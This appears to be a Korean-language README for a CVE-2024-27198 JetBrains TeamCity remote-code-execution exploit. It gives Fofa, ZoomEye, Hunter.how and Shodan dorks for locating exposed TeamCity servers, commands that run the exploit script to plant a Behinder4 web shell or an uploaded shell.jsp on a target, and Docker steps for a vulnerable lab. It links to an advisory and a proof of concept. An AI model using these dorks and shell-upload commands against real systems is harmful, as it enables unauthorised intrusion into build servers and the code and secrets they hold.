사이버공간 매핑 Dork

Fofa

app="JET_BRAINS-TeamCity"

ZoomEye

app:"JetBrains TeamCity"

Hunter.how

product.name="TeamCity"

Shodan

http.component:"teamcity"

사용 방법

Python3.9를 사용합니다.

pip install requests urllib3 faker
python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 --behinder4
# python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 -f shell.jsp

추가로:

python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111

취약점 재현 환경 구축

Docker를 사용하여 취약한 이미지를 가져와 실행합니다:

sudo docker pull jetbrains/teamcity-server:2023.11.3
sudo docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
# sudo ufw disable

그런 다음 기본 설정을 진행합니다:

참고 자료

https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

https://github.com/Chocapikk/CVE-2024-27198